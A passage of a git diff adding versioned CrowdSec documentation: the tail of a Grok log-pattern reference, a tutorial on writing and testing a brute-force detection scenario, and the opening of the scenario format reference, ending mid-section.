(?:%{QS:referrer}|-) (?:"?%{QS:agent}"?|-) (?:-|%{NOTSPACE:version_id}) +``` + +## BRO_DNS + +Pattern : +``` +%{NUMBER:ts}\t%{NOTSPACE:uid}\t%{IP:orig_h}\t%{INT:orig_p}\t%{IP:resp_h}\t%{INT:resp_p}\t%{WORD:proto}\t%{INT:trans_id}\t%{GREEDYDATA:query}\t%{GREEDYDATA:qclass}\t%{GREEDYDATA:qclass_name}\t%{GREEDYDATA:qtype}\t%{GREEDYDATA:qtype_name}\t%{GREEDYDATA:rcode}\t%{GREEDYDATA:rcode_name}\t%{GREEDYDATA:AA}\t%{GREEDYDATA:TC}\t%{GREEDYDATA:RD}\t%{GREEDYDATA:RA}\t%{GREEDYDATA:Z}\t%{GREEDYDATA:answers}\t%{GREEDYDATA:TTLs}\t%{GREEDYDATA:rejected} +``` + +## CISCOFW302013_302014_302015_302016 + +Pattern : +``` +%{CISCO_ACTION:action}(?: %{CISCO_DIRECTION:direction})? %{WORD:protocol} connection %{INT:connection_id} for %{DATA:src_interface}:%{IP:src_ip}/%{INT:src_port}( \(%{IP:src_mapped_ip}/%{INT:src_mapped_port}\))?(\(%{DATA:src_fwuser}\))? to %{DATA:dst_interface}:%{IP:dst_ip}/%{INT:dst_port}( \(%{IP:dst_mapped_ip}/%{INT:dst_mapped_port}\))?(\(%{DATA:dst_fwuser}\))?( duration %{TIME:duration} bytes %{INT:bytes})?(?: %{CISCO_REASON:reason})?( \(%{DATA:user}\))? +``` + +## SHOREWALL + +Pattern : +``` +(%{SYSLOGTIMESTAMP:timestamp}) (%{WORD:nf_host}) kernel:.*Shorewall:(%{WORD:nf_action1})?:(%{WORD:nf_action2})?.*IN=(%{USERNAME:nf_in_interface})?.*(OUT= *MAC=(%{COMMONMAC:nf_dst_mac}):(%{COMMONMAC:nf_src_mac})?|OUT=%{USERNAME:nf_out_interface}).*SRC=(%{IPV4:nf_src_ip}).*DST=(%{IPV4:nf_dst_ip}).*LEN=(%{WORD:nf_len}).*?TOS=(%{WORD:nf_tos}).*?PREC=(%{WORD:nf_prec}).*?TTL=(%{INT:nf_ttl}).*?ID=(%{INT:nf_id}).*?PROTO=(%{WORD:nf_protocol}).*?SPT=(%{INT:nf_src_port}?.*DPT=%{INT:nf_dst_port}?.*) +``` + +## HAPROXYTCP + +Pattern : +``` +(?:%{SYSLOGTIMESTAMP:syslog_timestamp}|%{TIMESTAMP_ISO8601:timestamp8601}) %{IPORHOST:syslog_server} %{SYSLOGPROG}: %{IP:client_ip}:%{INT:client_port} \[%{HAPROXYDATE:accept_date}\] %{NOTSPACE:frontend_name} %{NOTSPACE:backend_name}/%{NOTSPACE:server_name} %{INT:time_queue}/%{INT:time_backend_connect}/%{NOTSPACE:time_duration} %{NOTSPACE:bytes_read} %{NOTSPACE:termination_state} %{INT:actconn}/%{INT:feconn}/%{INT:beconn}/%{INT:srvconn}/%{NOTSPACE:retries} %{INT:srv_queue}/%{INT:backend_queue} +``` + +## CISCOFW313005 + +Pattern : +``` +%{CISCO_REASON:reason} for %{WORD:protocol} error message: %{WORD:err_protocol} src %{DATA:err_src_interface}:%{IP:err_src_ip}(\(%{DATA:err_src_fwuser}\))? dst %{DATA:err_dst_interface}:%{IP:err_dst_ip}(\(%{DATA:err_dst_fwuser}\))? \(type %{INT:err_icmp_type}, code %{INT:err_icmp_code}\) on %{DATA:interface} interface\. Original IP payload: %{WORD:protocol} src %{IP:orig_src_ip}/%{INT:orig_src_port}(\(%{DATA:orig_src_fwuser}\))? dst %{IP:orig_dst_ip}/%{INT:orig_dst_port}(\(%{DATA:orig_dst_fwuser}\))? +``` + +## BRO_FILES + +Pattern : +``` +%{NUMBER:ts}\t%{NOTSPACE:fuid}\t%{IP:tx_hosts}\t%{IP:rx_hosts}\t%{NOTSPACE:conn_uids}\t%{GREEDYDATA:source}\t%{GREEDYDATA:depth}\t%{GREEDYDATA:analyzers}\t%{GREEDYDATA:mime_type}\t%{GREEDYDATA:filename}\t%{GREEDYDATA:duration}\t%{GREEDYDATA:local_orig}\t%{GREEDYDATA:is_orig}\t%{GREEDYDATA:seen_bytes}\t%{GREEDYDATA:total_bytes}\t%{GREEDYDATA:missing_bytes}\t%{GREEDYDATA:overflow_bytes}\t%{GREEDYDATA:timedout}\t%{GREEDYDATA:parent_fuid}\t%{GREEDYDATA:md5}\t%{GREEDYDATA:sha1}\t%{GREEDYDATA:sha256}\t%{GREEDYDATA:extracted} +``` + +## BRO_HTTP + +Pattern : +``` +%{NUMBER:ts}\t%{NOTSPACE:uid}\t%{IP:orig_h}\t%{INT:orig_p}\t%{IP:resp_h}\t%{INT:resp_p}\t%{INT:trans_depth}\t%{GREEDYDATA:method}\t%{GREEDYDATA:domain}\t%{GREEDYDATA:uri}\t%{GREEDYDATA:referrer}\t%{GREEDYDATA:user_agent}\t%{NUMBER:request_body_len}\t%{NUMBER:response_body_len}\t%{GREEDYDATA:status_code}\t%{GREEDYDATA:status_msg}\t%{GREEDYDATA:info_code}\t%{GREEDYDATA:info_msg}\t%{GREEDYDATA:filename}\t%{GREEDYDATA:bro_tags}\t%{GREEDYDATA:username}\t%{GREEDYDATA:password}\t%{GREEDYDATA:proxied}\t%{GREEDYDATA:orig_fuids}\t%{GREEDYDATA:orig_mime_types}\t%{GREEDYDATA:resp_fuids}\t%{GREEDYDATA:resp_mime_types} +``` + +## NETSCREENSESSIONLOG + +Pattern : +``` +%{SYSLOGTIMESTAMP:date} %{IPORHOST:device} %{IPORHOST}: NetScreen device_id=%{WORD:device_id}%{DATA}: start_time=%{QUOTEDSTRING:start_time} duration=%{INT:duration} policy_id=%{INT:policy_id} service=%{DATA:service} proto=%{INT:proto} src zone=%{WORD:src_zone} dst zone=%{WORD:dst_zone} action=%{WORD:action} sent=%{INT:sent} rcvd=%{INT:rcvd} src=%{IPORHOST:src_ip} dst=%{IPORHOST:dst_ip} src_port=%{INT:src_port} dst_port=%{INT:dst_port} src-xlated ip=%{IPORHOST:src_xlated_ip} port=%{INT:src_xlated_port} dst-xlated ip=%{IPORHOST:dst_xlated_ip} port=%{INT:dst_xlated_port} session_id=%{INT:session_id} reason=%{GREEDYDATA:reason} +``` + +## HAPROXYHTTPBASE + +Pattern : +``` +%{IP:client_ip}:%{INT:client_port} \[%{HAPROXYDATE:accept_date}\] %{NOTSPACE:frontend_name} %{NOTSPACE:backend_name}/%{NOTSPACE:server_name} %{INT:time_request}/%{INT:time_queue}/%{INT:time_backend_connect}/%{INT:time_backend_response}/%{NOTSPACE:time_duration} %{INT:http_status_code} %{NOTSPACE:bytes_read} %{DATA:captured_request_cookie} %{DATA:captured_response_cookie} %{NOTSPACE:termination_state} %{INT:actconn}/%{INT:feconn}/%{INT:beconn}/%{INT:srvconn}/%{NOTSPACE:retries} %{INT:srv_queue}/%{INT:backend_queue} (\\{\%\{HAPROXYCAPTUREDREQUESTHEADERS}\})?( )?(\\{\%\{HAPROXYCAPTUREDRESPONSEHEADERS}\})?( )?"(|(%{WORD:http_verb} (%{URIPROTO:http_proto}://)?(?:%{USER:http_user}(?::[^@]*)?@)?(?:%{URIHOST:http_host})?(?:%{URIPATHPARAM:http_request})?( HTTP/%{NUMBER:http_version})?))?" +``` + +## BACULA_LOGLINE + +Pattern : +``` +%{BACULA_TIMESTAMP:bts} %{BACULA_HOST:hostname} JobId %{INT:jobid}: (%{BACULA_LOG_MAX_CAPACITY}|%{BACULA_LOG_END_VOLUME}|%{BACULA_LOG_NEW_VOLUME}|%{BACULA_LOG_NEW_LABEL}|%{BACULA_LOG_WROTE_LABEL}|%{BACULA_LOG_NEW_MOUNT}|%{BACULA_LOG_NOOPEN}|%{BACULA_LOG_NOOPENDIR}|%{BACULA_LOG_NOSTAT}|%{BACULA_LOG_NOJOBS}|%{BACULA_LOG_ALL_RECORDS_PRUNED}|%{BACULA_LOG_BEGIN_PRUNE_JOBS}|%{BACULA_LOG_BEGIN_PRUNE_FILES}|%{BACULA_LOG_PRUNED_JOBS}|%{BACULA_LOG_PRUNED_FILES}|%{BACULA_LOG_ENDPRUNE}|%{BACULA_LOG_STARTJOB}|%{BACULA_LOG_STARTRESTORE}|%{BACULA_LOG_USEDEVICE}|%{BACULA_LOG_DIFF_FS}|%{BACULA_LOG_JOBEND}|%{BACULA_LOG_NOPRUNE_JOBS}|%{BACULA_LOG_NOPRUNE_FILES}|%{BACULA_LOG_VOLUME_PREVWRITTEN}|%{BACULA_LOG_READYAPPEND}|%{BACULA_LOG_CANCELLING}|%{BACULA_LOG_MARKCANCEL}|%{BACULA_LOG_CLIENT_RBJ}|%{BACULA_LOG_VSS}|%{BACULA_LOG_MAXSTART}|%{BACULA_LOG_DUPLICATE}|%{BACULA_LOG_NOJOBSTAT}|%{BACULA_LOG_FATAL_CONN}|%{BACULA_LOG_NO_CONNECT}|%{BACULA_LOG_NO_AUTH}|%{BACULA_LOG_NOSUIT}|%{BACULA_LOG_JOB}|%{BACULA_LOG_NOPRIOR}) +``` + +## NAGIOSLOGLINE + +Pattern : +``` +%{NAGIOSTIME} (?:%{NAGIOS_WARNING}|%{NAGIOS_CURRENT_SERVICE_STATE}|%{NAGIOS_CURRENT_HOST_STATE}|%{NAGIOS_SERVICE_NOTIFICATION}|%{NAGIOS_HOST_NOTIFICATION}|%{NAGIOS_SERVICE_ALERT}|%{NAGIOS_HOST_ALERT}|%{NAGIOS_SERVICE_FLAPPING_ALERT}|%{NAGIOS_HOST_FLAPPING_ALERT}|%{NAGIOS_SERVICE_DOWNTIME_ALERT}|%{NAGIOS_HOST_DOWNTIME_ALERT}|%{NAGIOS_PASSIVE_SERVICE_CHECK}|%{NAGIOS_PASSIVE_HOST_CHECK}|%{NAGIOS_SERVICE_EVENT_HANDLER}|%{NAGIOS_HOST_EVENT_HANDLER}|%{NAGIOS_TIMEPERIOD_TRANSITION}|%{NAGIOS_EC_LINE_DISABLE_SVC_CHECK}|%{NAGIOS_EC_LINE_ENABLE_SVC_CHECK}|%{NAGIOS_EC_LINE_DISABLE_HOST_CHECK}|%{NAGIOS_EC_LINE_ENABLE_HOST_CHECK}|%{NAGIOS_EC_LINE_PROCESS_HOST_CHECK_RESULT}|%{NAGIOS_EC_LINE_PROCESS_SERVICE_CHECK_RESULT}|%{NAGIOS_EC_LINE_SCHEDULE_HOST_DOWNTIME}|%{NAGIOS_EC_LINE_DISABLE_HOST_SVC_NOTIFICATIONS}|%{NAGIOS_EC_LINE_ENABLE_HOST_SVC_NOTIFICATIONS}|%{NAGIOS_EC_LINE_DISABLE_HOST_NOTIFICATIONS}|%{NAGIOS_EC_LINE_ENABLE_HOST_NOTIFICATIONS}|%{NAGIOS_EC_LINE_DISABLE_SVC_NOTIFICATIONS}|%{NAGIOS_EC_LINE_ENABLE_SVC_NOTIFICATIONS}) +``` + +## IPV6 + +Pattern : +``` +((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)? +``` + + +# Documentation generation +This documentation is generated by `pkg/parser` : `GO_WANT_TEST_DOC=1 go test -run TestGeneratePatternsDoc` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/create.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/create.md new file mode 100644 index 000000000..a2fd370b4 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/create.md @@ -0,0 +1,265 @@ +--- +id: create +title: Creating scenarios +sidebar_position: 4 +--- + +import AcademyPromo from '@site/src/components/academy-promo'; + +:::caution + +All the examples assume that you have read the [Creating parsers](/docs/next/parsers/create) documentation. + +::: + +## Foreword + +This documentation assumes you're trying to create a scenario for crowdsec with the intent of submitting to the hub, and thus create the associated functional testing. +The creation of said functional testing will guide our process and will make it easier. + +We're going to create a scenario for an imaginary service "myservice" from the following logs of failed authentication : + +``` +Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' +Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' +Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' +Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' +Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' +Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' +``` + +There's a [yaml schema +available](https://github.com/crowdsecurity/crowdsec-yaml-schemas/blob/main/scenario_schema.yaml) +for the scenario and linked at +[SchemaStore](https://github.com/SchemaStore/schemastore/blob/master/src/api/json/catalog.json) +for general public availability inside most common editors. You will +be able see if the scenario comply to the schema directly in your +editor, and you will have some kind of syntax highlighting and +suggestions. The only requirement for this is to write your scenario +using the directory structure of the hub to make the editor detects +that the file has to comply to the yaml schema. This means that you +will have to write the scenario in one subdirectory of the `scenarios` +directory. This subdirectory is named after your name, or your +organization name. As an example `scenarios/crowdsecurity/ssh-bf.yaml` +matches this directory structure. Note that extension of the scenario +has to be `.yaml`. + +## Pre-requisites + +1. [Create a local test environment](https://doc.crowdsec.net/docs/contributing/contributing_test_env) + +2. Clone the hub + +```bash +git clone https://github.com/crowdsecurity/hub.git +``` + +## Create our test + +From the root of the hub repository : + +```bash +▶ cscli hubtest create myservice-bf --type syslog --ignore-parsers + + Test name : myservice-bf + Test path : /home/dev/github/hub/.tests/myservice-bf + Log file : /home/dev/github/hub/.tests/myservice-bf/myservice-bf.log (please fill it with logs) + Parser assertion file : /home/dev/github/hub/.tests/myservice-bf/parser.assert (please fill it with assertion) + Scenario assertion file : /home/dev/github/hub/.tests/myservice-bf/scenario.assert (please fill it with assertion) + Configuration File : /home/dev/github/hub/.tests/myservice-bf/config.yaml (please fill it with parsers, scenarios...) +``` + +**note: we specify the `--ignore-parsers` flag because we don't want to test the parsers, only the scenarios.** + +## Configure our test + +Let's add our parser and scenario to the test configuration (`.tests/myservice-bf/config.yaml`) file. + +```yaml +parsers: + - crowdsecurity/syslog-logs + - crowdsecurity/dateparse-enrich + - ./parsers/s01-parse/crowdsecurity/myservice-logs.yaml +scenarios: + - ./scenarios/crowdsecurity/myservice-bf.yaml +postoverflows: + - "" +log_file: myservice-bf.log +log_type: syslog +ignore_parsers: true +``` + +**note: as our custom parser and scenario are not yet part of the hub, we specify their path relative to the root of the hub directory.** + +## Scenario creation + +Let's create a simple scenario to detect bruteforce attemp on `myservice`: + +```yaml +# myservice bruteforce +type: leaky +name: crowdsecurity/myservice-bf +description: "Detect myservice bruteforce" +filter: "evt.Meta.log_type == 'myservice_failed_auth'" +leakspeed: "10s" +capacity: 5 +groupby: evt.Meta.source_ip +blackhole: 1m +reprocess: true +labels: + service: myservice + confidence: 3 + spoofable: 0 + classification: + - attack.T1110 + behavior: "myservice:bruteforce" + label: "myservice bruteforce" + service: myservice + remediation: true +``` + +:::note + +We filter on `evt.Meta.log_type == 'myservice_failed_auth'` because in the parser `myservice-logs` (created in the [Creating parsers](/docs/next/parsers/create) part) we set the `log_type` to `myservice_failed_auth` for bad password or bad user attempt. + +::: + +We have the following fields: + +- a [type](/log_processor/scenarios/format.md#type): the type of bucket to use (trigger or leaky). +- a [name](/log_processor/scenarios/format.md#name) +- a [description](/log_processor/scenarios/format.md#description) +- a [filter](/log_processor/scenarios/format.md#type): the filter to apply on events to be filled in this bucket. +- a [leakspeed](/log_processor/scenarios/format.md#leakspeed) +- a [capacity](/log_processor/scenarios/format.md#capacity): the number of events in the bucket before it overflows. +- a [groupby](/log_processor/scenarios/format.md#groupby): a field from the event to partition the bucket. It is often the `source_ip` of the event. +- a [blackhole](/log_processor/scenarios/format.md#blackhole): the number of minute to not retrigger this scenario for the same `groupby` field. +- a [reprocess](/log_processor/scenarios/format.md#reprocess): ingest the alert in crowdsec for further processing. +- some [labels](/log_processor/scenarios/format.md#labels): Some labels are mandatory and the scenario will not be validated by the Hub if they are missing. Don't forget to set `remediation: true` if you want the IP to be blocked by bouncers. + +We can then "test" our scenario like this : + +```bash +▶ cscli hubtest run myservice-bf +INFO[01-10-2021 12:41:21 PM] Running test 'myservice-bf' +WARN[01-10-2021 12:41:24 PM] Assert file '/home/dev/github/hub/.tests/myservice-bf/scenario.assert' is empty, generating assertion: + +len(results) == 1 +"192.168.1.1" in results[0].Overflow.GetSources() +results[0].Overflow.Sources["192.168.1.1"].IP == "192.168.1.1" +results[0].Overflow.Sources["192.168.1.1"].Range == "" +results[0].Overflow.Sources["192.168.1.1"].GetScope() == "Ip" +results[0].Overflow.Sources["192.168.1.1"].GetValue() == "192.168.1.1" +results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "myservice-bf.log" +results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" +results[0].Overflow.Alert.Events[0].GetMeta("log_subtype") == "myservice_bad_user" +results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "myservice_failed_auth" +results[0].Overflow.Alert.Events[0].GetMeta("service") == "myservice" +results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.1" +results[0].Overflow.Alert.Events[0].GetMeta("username") == "toto" +.... +results[0].Overflow.Alert.GetScenario() == "crowdsecurity/myservice-bf" +results[0].Overflow.Alert.Remediation == true +results[0].Overflow.Alert.GetEventsCount() == 6 + +... + + +Please fill your assert file(s) for test 'myservice-bf', exiting + +``` + +What happened here ? + +- The scenario has been triggered and is generating some assertion (for functional test) +- In production environment, an alert would have been send to the CrowdSec Local API. + +We can again understand more of what is going on thanks to `cscli hubtest explain` : + +```bash +▶ cscli hubtest explain myservice-bf +line: Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + ├ s01-parse + | └ 🟢 crowdsecurity/myservice-logs + ├ s02-enrich + | └ 🟢 crowdsecurity/dateparse-enrich + ├-------- parser success 🟢 + ├ Scenarios + └ 🟢 crowdsecurity/myservice-bf + +line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + ├ s01-parse + | └ 🟢 crowdsecurity/myservice-logs + ├ s02-enrich + | └ 🟢 crowdsecurity/dateparse-enrich + ├-------- parser success 🟢 + ├ Scenarios + └ 🟢 crowdsecurity/myservice-bf + +line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + ├ s01-parse + | └ 🟢 crowdsecurity/myservice-logs + ├ s02-enrich + | └ 🟢 crowdsecurity/dateparse-enrich + ├-------- parser success 🟢 + ├ Scenarios + └ 🟢 crowdsecurity/myservice-bf + +line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + ├ s01-parse + | └ 🟢 crowdsecurity/myservice-logs + ├ s02-enrich + | └ 🟢 crowdsecurity/dateparse-enrich + ├-------- parser success 🟢 + ├ Scenarios + └ 🟢 crowdsecurity/myservice-bf + +line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + ├ s01-parse + | └ 🟢 crowdsecurity/myservice-logs + ├ s02-enrich + | └ 🟢 crowdsecurity/dateparse-enrich + ├-------- parser success 🟢 + ├ Scenarios + └ 🟢 crowdsecurity/myservice-bf + +line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + ├ s01-parse + | └ 🟢 crowdsecurity/myservice-logs + ├ s02-enrich + | └ 🟢 crowdsecurity/dateparse-enrich + ├-------- parser success 🟢 + ├ Scenarios + └ 🟢 crowdsecurity/myservice-bf + + +``` + +## Closing word + +We have now a fully functional scenario for myservice to detect brute forces! +We can either deploy it to our production systems to do stuff, or even better, contribute to the hub ! + +If you want to know more about directives and possibilities, take a look at [the scenario reference documentation](/log_processor/scenarios/format.md) ! + +See as well [this blog article](https://crowdsec.net/blog/how-to-write-crowdsec-parsers-and-scenarios) on the topic. + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/debugging.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/debugging.md new file mode 100644 index 000000000..009f95703 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/debugging.md @@ -0,0 +1,7 @@ +--- +id: debug +title: Debugging +sidebar_position: 3 +--- + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/format.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/format.md new file mode 100644 index 000000000..d7e8ff165 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/format.md @@ -0,0 +1,763 @@ +--- +id: format +title: Format +sidebar_position: 2 +--- + +## Scenario configuration example + +A way to detect a http scanner might be to track the number of distinct non-existing pages it's requesting. The scenario might look like this: + +```yaml +type: leaky +name: crowdsecurity/http-scan-uniques_404 +description: "Detect multiple unique 404 from a single ip" +filter: "evt.Meta.service == 'http' && evt.Meta.http_status in ['404', '403', '400']" +groupby: "evt.Meta.source_ip" +distinct: "evt.Meta.http_path" +capacity: 5 +leakspeed: "10s" +blackhole: 5m +labels: + service: http + confidence: 3 + spoofable: 0 + classification: + - attack.T1595 + behavior: "http:scan" + service: http + label: "Multiple unique 404 detection" + remediation: true +``` + +## Scenario directives + + +### `type` + + +```yaml +type: leaky|trigger|counter|conditional|bayesian +``` + +Defines the type of the bucket. Currently five types are supported : + + - `leaky` : a [leaky bucket](https://en.wikipedia.org/wiki/Leaky_bucket) that must be configured with a [capacity](#capacity) and a [leakspeed](#leakspeed) + - `trigger` : a bucket that overflows as soon as an event is poured + (it is like a leaky bucket is a capacity of 0) + - `counter` : a bucket that only overflows every + [duration](#duration). It is especially useful to count things. + - `conditional`: a bucket that overflows when the expression given in + `condition` returns true. Useful if you want to look back at + previous events that were poured to the bucket (to detect + impossible travel or more behavioral patterns for example). It + can't overflow like a leaky bucket and its capacity is + ignored. Incase the conditional bucket is meant to be used to hold + a large number of events, consider use the cashe_size field. + - `bayesian` : a bucket that runs bayesian inference internally. The + overflow will trigger when the posterior probability reaches the + threshold. This is useful for instance if the behaivor is a + combination of events which alone wouldn't be worthy of suspicious. + + +#### Examples: + +--- +##### Leaky +The bucket will leak one item every 10 seconds, and can hold up to 5 items before overflowing. + +```yaml +type: leaky +... +leakspeed: "10s" +capacity: 5 +... +``` + +![timeline](/img/drawio/leakspeed-schema.drawio.png) + + - The bucket is created at `t+0s` + - _E0_ is poured at `t+2s`, bucket is at 1/5 capacity + - _E1_ is poured at `t+4s`, bucket is at 2/5 capacity + - At `t+10s` the bucket leaks one item, is now at 1/5 capacity + - _E2_ is poured at `t+11s`, bucket is at 2/5 capacity + - _E3_ and _E4_ are poured around `t+16s`, bucket is at 4/5 capacity + - At `t+20s` the bucket leaks one item, is now at 3/5 capacity + - _E5_ and _E6_ are poured at `t+23s`, bucket is at 5/5 capacity + - when _E7_ is poured at `t+24s`, the bucket is at 6/5 capacity and overflows +--- +##### Trigger +The bucket will instantly overflow whenever an ip lands on a 404. + +```yaml +type: trigger +... +filter: "evt.Meta.service == 'http' && evt.Meta.http_status == '404'" +groupby: evt.Meta.source_ip +... +``` +--- +##### Counter +The bucket will overflow 20s after the first event is poured. + +```yaml +type: counter +... +filter: "evt.Meta.service == 'http' && evt.Meta.http_status == '404'" +duration: 20s +... +``` +![timeline](/img/drawio/counter-schema.drawio.png) + + - The bucket is created at `t+0s` + - _E0_ is poured at `t+0s`, count is at 1 + - _E1_ is poured at `t+4s`, count is at 2 + - _E2_ is poured at `t+8s`, count is at 3 + - _E3_ is poured at `t+12s`, count is at 4 + - _E4_ is poured at `t+14s`, count is at 5 + - At `t+20s` the bucket overflows with a count of 5 + +--- +##### Conditional +This bucket will overflow when the condition is true. In this example it will overflow if a user sucessfully authenticates after failing 5 times previously. For a more in depth look, check out [our blogpost](https://www.crowdsec.net/blog/detecting-successful-ssh-brute-force) on the topic. + +```yaml +type: conditional +... +filter: "evt.Meta.service == 'ssh'" +... +condition: | + count(queue.Queue, #.Meta.log_type == 'ssh_failed-auth') > 5 and count(queue.Queue, #.Meta.log_type == 'ssh_success-auth') > 0 +... +``` +![timeline](/img/drawio/conditional-schema.drawio.png) + - The bucket is created at `t+0s` + - _E0_ is poured at `t+0s` + - _E1_ is poured at `t+4s` + - _E2_ is poured at `t+6s` + - _E3_ is poured at `t+12s` + - _E4_ is poured at `t+14s`, `count(queue.Queue, #.Meta.log_type == 'ssh_failed-auth') > 5` now evaluates true + - _E5_ is poured at `t+18s` + - when _E6_ is poured at `t+24s`, `count(queue.Queue, #.Meta.log_type == 'ssh_success-auth') > 0` also evaluates true and the bucket overflows +--- +##### Bayesian +The bayesian bucket is based on the concept of [bayesian inference](https://en.wikipedia.org/wiki/Bayesian_inference). The bucket overflows if the bayesian posterior is bigger than the threshold. To calculate the posterior, the bucket will run bayesian updates for all the conditions defined in the scenario. +The bucket starts with a predefined prior `P(Evil)`. Whenever an event is poured the bucket will iteratively calculate `P(Evil|State(Condition_i))` for all defined conditions. The resulting posterior value for `P(Evil)` is then compared against the threshold. If the threshold is exceeded the bucket overflows. If the threshold is not exceeded, the bucket is reset by setting `P(Evil)` back to the prior. +In case the condition is costly to evaluate, the `guillotine` can be set. This will stop the condition from being evaluated after the first time it evaluates to `true`. The bayesian update will assume that the condition is `true` for every iteration after that. + +```yaml +type: bayesian +... +filter: "evt.Meta.log_type == 'http_access-log' || evt.Meta.log_type == 'ssh_access-log'" +... +bayesian_prior: 0.5 +bayesian_threshold: 0.8 +bayesian_conditions: +- condition: any(queue.Queue, {.Meta.http_path == "/"}) + prob_given_evil: 0.8 + prob_given_benign: 0.2 +- condition: evt.Meta.ssh_user == "admin" + prob_given_evil: 0.9 + prob_given_benign: 0.5 + guillotine : true +... +leakspeed: 30s +capacity: -1 +... +``` + +Guidelines on setting the bayesian parameters can be found [below](#bayesian_conditions) + +--- +### `name` + +```yaml +name: github_account_name/my_scenario_name +``` +or + +```yaml +name: my_author_name/my_scenario_name +``` + +The `name` is mandatory. + +It must be unique. This will define the scenario's name in the hub. + +--- +### `description` + +```yaml +description: A scenario that detect XXXX behavior +``` + +The `description` is mandatory. + +It is a short description, probably one sentence, describing what it detects. + +--- +### `references` + +```yaml +references: + - A reference to third party documents. +``` + +The `references` is optional. + +A reference to third party documents. This is a list of string. + +--- +### `filter` + +```yaml +filter: expression +``` + +`filter` must be a valid [expr](/expr/intro.md) expression that will be evaluated against the event. + +If `filter` evaluation returns true or is absent, event will be pour in the bucket. + +If `filter` returns `false` or a non-boolean, the event will be skipped for this bucket. + +Here is the [expr documentation](https://github.com/antonmedv/expr/tree/master/docs). + +Examples : + + - `evt.Meta.log_type == 'telnet_new_session'` + - `evt.Meta.log_type in ['http_access-log', 'http_error-log'] && evt.Parsed.static_ressource == 'false'` + - `evt.Meta.log_type == 'ssh_failed-auth'` + + +--- +### `duration` + +```yaml +duration: 45s +duration: 10m +``` + +Only applies to `counter` buckets. + +A duration after which the bucket will overflow. +The format must be compatible with [golang ParseDuration format](https://golang.org/pkg/time/#ParseDuration) + +Examples : + +```yaml +type: counter +name: crowdsecurity/ban-reports-ssh_bf_report +description: "Count unique ips performing ssh bruteforce" +filter: "evt.Overflow.Scenario == 'ssh_bruteforce'" +distinct: "evt.Overflow.Source_ip" +capacity: -1 +duration: 10m +labels: + service: ssh + confidence: 3 + spoofable: 0 + classification: + - attack.T1110 + label: "SSH Bruteforce" + behavior : "ssh:bruteforce" + remediation: true + cti: true +``` + +--- +### `groupby` + +```yaml +groupby: 